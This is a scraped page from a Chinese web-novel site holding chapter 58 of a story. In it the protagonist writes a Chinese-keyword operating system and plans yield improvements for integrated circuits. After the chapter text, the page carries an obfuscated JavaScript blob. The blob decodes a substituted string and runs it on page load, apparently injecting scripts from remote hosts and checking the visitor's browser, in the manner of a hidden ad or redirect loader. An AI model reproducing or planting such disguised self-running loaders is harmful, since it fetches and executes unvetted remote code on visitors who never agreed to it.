首页
[切换至繁体版]
返回

第58章 野猪泛滥,和大佬们一起进山打猎

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第58章野猪泛滥,和大佬们一起进山打猎(第1/2页)
    在办公室内吃完午饭,林北马上在那台计算机前面坐了下来。
    他面前摊着一本手写的笔记,里面是用铅笔写满的系统架构草稿。
    从系统奖励超级计算机,林北完全掌握了超级计算机的完整技术后,就开始在构思完整的计算机系统。
    超级计算机上的操作系统,只是为超算服务的系统,不合适作为普通计算机的系统来使用。
    因此林北需要一套完全基于汉语言的底层操作系统,适用于未来的超计算机。
    而这个东西,别说是种花家了,全世界只有林北一个人懂,没有人可以帮他。
    需要他亲自一点点的完成。
    这套操作系统,不需要翻译英文指令,不需要记忆那些和日常语言毫无关联的缩写词,所有的指令代码全部用汉字书写。
    运算指令是“加”“减”“乘”“除”,跳转指令是“转”,条件判断是“若”“则”“否则”,循环是“循环”和“止”,输入输出是“读”“写”,程序结构用“开始”和“结束”包裹起来。
    这套方案的核心原则是:任何一个识字的人,拿着操作手册看一遍,就能大致猜到每一行指令是在做什么。
    他早就想清楚了,计算机的未来不应该是少数几个掌握英文的人才能触碰的工具。
    特别是在种花家,计算机的操作系统,就应该以最方便的形式进行推广。
    甚至汉语言系统,将会在这个时空,彻底取代未来的英文操作系统。
    因为林北占据了所有的先机。
    他打开第一块空白的内存区域,开始写最底层的引导程序。
    这段程序不需要多复杂,只需要完成三件事。
    初始化中央处理器和内存的起始状态,从固定地址加载操作系统的内核代码,然后将控制权移交给内核。
    他用铅笔在纸上写了十几行代码,逐条读了一遍确认逻辑无误,然后开始一条一条地往机器里输入。
    “开始
    设基址=零
    清内存
    载入核心自磁盘
    转核心
    结束”
    他把这五行指令输入完毕之后按下回车键,屏幕上没有报错,光标平静地跳到下一行起始处,像是已经接受了这段指令,正在等着后面的内容。
    他开始写内存管理模块。
    内存管理是操作系统的骨架,没有它,所有程序都将堆叠在一起互相踩踏。
    他的方案是分段式管理,把内存划分成若干个大小不等的段,每个段记录起始地址、段长和使用状态,内核在分配和回收时只操作这些段表,不直接碰物理地址。
    分配空间时若找到空闲段就标记为已占用,回收空间时则合并相邻的空闲块。
    他把这个逻辑写成一段大约三十行的程序,一边写一边在脑子里逐行推演边界情况。
    “分配段大小:
    寻空闲段其中段长>=大小
    若找着:
    标该段已占用
    返段址
    否则:
    返空
    止
    回”
    写完之后他把这一段和引导程序衔接在一起,确认没有语法冲突,然后继续往下写进程管理模块。
    进程管理的核心是时间片轮转。
    每一道运行中的程序被看作一个进程,内核记录它的状态、寄存器值和程序计数器位置,每个进程获得一个固定长度的时间片,时间片用完之后内核自动切换上下文保存当前进程状态、恢复下一个进程的状态、把中央处理器交给它。
    他为此设计了一个进程控制块的结构,包含进程标识、运行状态、寄存器备份、优先级和时间片计数器,并配有相应的调度机制让多个程序像轮流使用机器一样交替运行。
    “若时间片满:
    存当前
    恢复下一进程
    转继续
    止”
    他写到设备驱动部分的时候,天已经黑透了。
    键盘的输入中断、显示器的输出缓冲、磁盘的读写控制,每一块都需要单独的接口定义和状态机逻辑。
    他没有把所有的驱动一次性写完,而是先搭了一个基础的设备抽象层,把每种设备的操作抽象成统一的“读”“写”“控制”三个入口,具体的实现留到后续填充。
    这样将来接入任何新设备都不会影响到上层应用程序的执行。
    第一版完整的系统内核手稿写完的时候,时钟已经指向下午五点。
    他把手稿从头到尾通读了一遍,修改了几处边界条件处理不当的地方,又补了一段异常处理逻辑,确保程序在遇到未定义指令或者内存越界时不会直接死机。
    “异常:
    停当前
    记错误码于日志
    转调度”
    林北没有立刻把这些代码全部录入机器,而是下个礼拜一上班的时候,跑一趟超算中心,打算使用超级计算机上的仿真环境,把整个内核的架构模型输入进去跑一遍。
    确认仿真结果确认逻辑无死锁、内存无泄漏、时间片切换没有跨周期丢失之后,这套系统才能证明没有问题。
    至于眼前的这台计算机,事实上,连一个壳子都没有,目前还只是最原始的阶段。
    而这台计算机将来系统完成,也彻底组装起来,其运算速度,并不会太快,也就是每秒一万次左右。
    其集成电路板的芯片有一百个,每一个芯片集成了512个晶体管,总晶体管数量五万个,主频1兆赫兹左右。
    运算能力每秒一万次加法运算。
    对比超级计算机来说,这款计算机运算能力真不怎么样。
    可问题是,这款计算机,他只是一台小巧的普通台式计算机,不是超级计算机,足足占据了一个房间大小。
    是一台可以随时拆卸带走,转移,然后插上电,就可以使用的计算机。
    和现代的台式机,并没有太大的区别。
    并且只要完成,就可以实现初步的计算机办公。
    中文输入、编辑、存储、打印。
    这是最基础也是最有价值的功能之一,可以替代传统的打字机和手写文件。
    只需要弄一台打印机,林北甚至连图纸都不需要手绘,直接在计算机上绘制,然后打印出来即可。
    或者是使用移动数据存储,直接拷贝到其他计算机上。
    此外,它还具备存储和检索信息,比如工人档案、物资台账、设备维修记录等,查询效率比手工翻档案快得多。
    至于操作的话,也很简单,教一下,只要识字,基本上就会。
    其次就是科学计算辅助,虽然无法直接处理完整的流体力学方程等复杂数据的计算,但可以承担子任务的前处理和后处理,比如数据录入、表格生成、中间结果的整理和归档。
    特别是任务前处理,使用超算的时候,有一个很大的步骤,很影响时间,那就是录入计算内容。
    有了这种计算机的话,可以将计算的内容,提前输入好,再利用存储器连接到超算,就不需要再超算上一步步输入计算内容,超算可以自动读取需要计算的内容。
    这样的话,可以节省大量的时间。
    再者就是培养大批的编程人员,供程序员在上面练习和调试代码,积累编程经验,为将来更复杂的计算机应用做人力储备。
    还有就是数控机床上的编程,也可以先在计算机上完成,甚至可以制作一个模拟的程序,不需要到机床设备上检验,可以先模拟测试。
    这样可以减少数控机床的大量停机调试时间。
    这台机器的意义不在于它有多快,而在于它是种花家第一台可以放在办公室里、让普通人直接操作、用中文指令交流的计算机。
    超算解决了能不能算的问题,这台机器解决了能不能用的问题。
    两者结合,种花家的计算机体系才算真正完整,一个负责攻坚克难,一个负责铺路搭桥。
    一旦这台计算机系统编写完成,确定没有问题,那林北马上会组建一条完整的生产线,开始量产这款计算机。
    林北预计,到那个时候,集成电路板的量产工作,应该可以开始了,一开始可能良品率不会太高,但只要制造经验提升起来,良品率也能够一点点提升。
    目前的集成电路板的测试生产,良品率只有百分之十五,不是技术不行,而是太生疏了。
    测试生产了一百片,只有十五片达到了林北的要求,而这十五片中,有十片在林北手中。
    林北此前也专门过去指导,良品率不高,原因有很多,但都不是技术和设备的关系。
    首先是光刻胶涂布不均匀导致线路宽度偏差超过允许范围,蚀刻温度波动过大导致线路边缘粗糙、出现毛刺和断线,掺杂工艺控制不精确导致晶体管的阈值电压不稳定。
    林北也专门写了改进措施给他们,第一项是给出最优的旋涂转速和固化温度曲线,然后把新工艺参数发给电子元件厂,让他们按照新的参数重新调整设备。
    第二项是蚀刻槽的温控系统升级。
    目前的蚀刻设备依赖手动调节温度,波动范围大约在正负三度左右,对普通电路板来说不算太大问题,但对于集成电路板这种需要精确控制线路宽度和深度的工艺来说,每一度的偏差都会反映在成品率上。
    他在蚀刻槽上加装一套自动温控装置,用热电偶实时监测液温,通过继电器控制加热器的通断。
    这套装置的原理很简单,电路也不复杂,只需要一个温度传感器、一个比较器电路和一个可控硅开关,车间自己就能做,不需要等待外部采购。
    第三项是掺杂工艺的优化。
    晶体管的阈值电压一致性主要取决于掺杂浓度和扩散深度的精确控制,而这两者又取决于扩散炉的温度均匀性和气氛稳定性。
    林北把扩散炉的测温点从原有的单点增加到三点,分别监测炉膛前部、中部和后部的温度,用平均值作为控制基准,同时调整掺杂源的位置和气流方向,让杂质分布更加均匀。
    这些调整不涉及设备的重大改造,只需要几个新的热电偶和一套简单的温度显示仪表,三天之左右就能完成改造工作。
    目前新的集成电路板芯片还没有生产出来,那边的工人,技术员和工程师,也正在加强技术培训。
    集成电路板要量产,这良品率才是关键,不是生产不出来,而是不能盲目生产,良品率不高,就意味着成本无法控制。
    目前种花家生产一块电路板,每平方厘米就需要两万到三万左右,放在以后,也就是两三块钱,听起来是不多。
    可到了集成电路板,那成本就直线飙升了。
    电路板的主要成本,是在覆铜板和蚀刻工序上,基板材料占了三成,蚀刻液和工艺能耗占了三成,人工和设备折旧分摊了剩下的四成。
    一块标准的单面板,大概要花费二十万块钱左右。
    若是双面板的话,成本则要翻一倍。
    考虑到这是目前国内唯一可以稳定生产电路板的工厂,这个价格虽然不便宜,但也还能够接受。
    集成电路板就不一样了,一块集成电路板的标准尺寸和普通电路板差不多,但它的基板材料要求更高,光刻胶和掩膜版也是一笔不小的开支,比普通的线路板贵出好几倍。
    最贵的是芯片加工环节。
    光刻、蚀刻、掺杂、退火、金属化,每一道工序都需要单独的时间和专用化学试剂,全部流程走下来,一片集成电路板的基础成本已经比普通电路板贵了将近十倍。
    (本章未完,请点击下一页继续阅读)第58章野猪泛滥,和大佬们一起进山打猎(第2/2页)
    再把百分之八十五的废品率算进去,要得到一百片合格的集成电路板,实际投入的基板、试剂和工时已经足够生产一千片普通电路板了。
    综合下来,一片合格的集成电路板的实际成本比一块普通电路板高了将近一百倍。
    之前测试生产的一百块集成电路板,总花费三亿多种花币,成品也才十五块,等于一块成品的集成度电路板,成本高达两千万种花币。
    放在以前,那也是两千块钱一块。
    这还只是集成了一百个晶体管的集成电路板,要是以后集成上千个晶体管,上万个晶体管,甚至几十万,几亿颗,那还了得。
    良品率上去,同时以后大规模生产,成本自然会下降。
    林北计算过,只要良品率可以达到百分之七十以上,加上大规模量产,成本的进一步下降,到时候,一块普通的集成电路板,成本大概在一百万到两百万之间。
    以后技术进一步成熟,这个成本,还会进一步下降。
    不过这是测试生产,贵点也可以接受。
    林北将计算机工作间上锁,然后直接下班。
    下班的人潮,从轧钢厂的八个大门
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();